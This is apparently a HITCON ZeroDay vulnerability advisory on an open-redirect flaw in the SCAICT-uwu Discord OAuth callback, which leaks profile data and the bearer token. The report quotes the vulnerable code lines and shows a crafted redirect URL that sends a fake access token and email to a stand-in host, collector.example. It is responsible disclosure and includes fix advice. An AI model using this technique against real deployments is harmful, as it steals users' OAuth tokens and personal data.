中部高中電資社團聯合會議 Discord OAuth callback redirects bearer token and profile data to state-controlled host - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00783
  •  發信 Vendor: 中部高中電資社團聯合會議
  • Title: 中部高中電資社團聯合會議 Discord OAuth callback redirects bearer token and profile data to state-controlled host
  • Introduction: SCAICT-uwu copies login redirurl into Discord OAuth state, then callback redirects profile fields and bearer token to that state-controlled host.
  • 感謝函

處理狀態

目前狀態

公開
Last Update : 2026/07/25
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/05/30 22:17:33 : 新提交 (由 老狼 更新此狀態)
  • 2026/06/10 12:44:45 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/21 09:25:24 : 修補中 (由 組織帳號 更新此狀態)
  • 2026/07/24 01:36:41 : 公開 (由 組織帳號 更新此狀態)
  • 2026/07/25 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00783
  • 通報者:skyknow (老狼)
  • 風險:中
  • 類型:未驗證的 URL 轉址 (Unvalidated Redirects and Forwards)

參考資料

攻擊者可利用該漏洞將受害者導向至惡意網站。

OWASP Top 10 2010 - A10 - Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards

Unvalidated Redirects and Forwards Cheat Sheet
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
http://cwe.mitre.org/data/definitions/601.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://zeroday.hitcon.org/bug-bounty/139
https://scaict.org/
https://github.com/SCAICT/SCAICT-uwu

敘述

Summary

The public SCAICT/SCAICT-uwu Flask application copies a caller-controlled redirurl query parameter from /login into the Discord OAuth state parameter. After OAuth completes, /callback treats state as a redirect host and redirects the browser to https://{state}.

Before redirecting, the callback serializes Discord profile fields and a bearer access token into the redirect query string. If this code is deployed as written, a crafted login URL can cause the trusted SCAICT OAuth flow to send the authenticated user's Discord email/user id/profile fields and OAuth bearer token to an attacker-controlled HTTPS host.

I validated this only with public source review and a local replay using fake values. I did not contact SCAICT production, Discord OAuth, Discord API, or any real user/account/token.

圖片

Affected target

Technical details

In app.py, /login reads redirurl and copies it into OAuth state:

line 59: redirurl = request.args.get("redirurl")
line 68: params["state"] = redirurl

In /callback, the application reads state back as redirurl, creates an OAuth bearer header, includes that header object in browser-visible query parameters, and redirects to the state-controlled host:

line 210: redirurl = request.args.get("state")
line 228: headers = {"Authorization": f"Bearer {access_token}"}
line 258: "headers": headers
line 262: return redirect(f"https://{redirurl}{separator}{urlencoded}")

Because state is acting as an external redirect target instead of a server-side nonce, the callback can be steered to an arbitrary HTTPS host while carrying profile fields and the access token in the URL.

圖片

Local validation

I used a local-only script that reads the public source and replays the callback URL construction with fake data. The script does not import or execute the Flask app and does not make network requests.

Command:

python3 findings/20260530-2149-hitcon-scaict-discord-oauth-state-token-leak/local-repro.py

Observed result:

observed_candidate_behavior: true
network_requests: 0
generated_redirect host: collector.example
generated query contains: fake-discord-access-token

The generated local redirect is:

https://collector.example/oauth-callback?username=student-user&user_id=123456789012345678&avatar=https%3A%2F%2Fcdn.discordapp.com%2Favatars%2F123456789012345678%2Favatarhash.png&email=student%40example.test&headers=%7B%27Authorization%27%3A+%27Bearer+fake-discord-access-token%27%7D

Impact

If this OAuth callback is deployed as written, an attacker can craft a login URL with a controlled redirurl value. A victim who completes Discord OAuth can be redirected to the attacker's HTTPS host with:

  • Discord username
  • Discord user id
  • Discord email
  • Discord avatar URL
  • Discord OAuth bearer access token serialized inside the headers query parameter

The source uses the Discord OAuth scopes identify email, so the conservative impact is Discord profile/email disclosure and access-token leakage for that scope. This report does not claim Discord account takeover, live production exploitation, or access to any real SCAICT or Discord data.

圖片

Safety boundary

  • No SCAICT production request.
  • No Discord OAuth or Discord API request.
  • No real account, token, email, guild, student data, or third-party data.
  • No scanner, fuzzing, DoS, brute force, social engineering, public issue/PR, vendor contact, HITCON form action, or report submission.
  • Deployment status and real Discord OAuth redirect configuration were not tested.

修補建議

- Do not use arbitrary OAuth `state` values as redirect URLs.
- Store an unpredictable server-side nonce in `state`, then map it to an allowlisted post-login path after OAuth completes.
- Never serialize OAuth bearer tokens, authorization headers, or profile data into browser-visible redirect URLs.
- If external redirects are required, enforce an explicit allowlist and keep tokens and profile fields server-side.

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;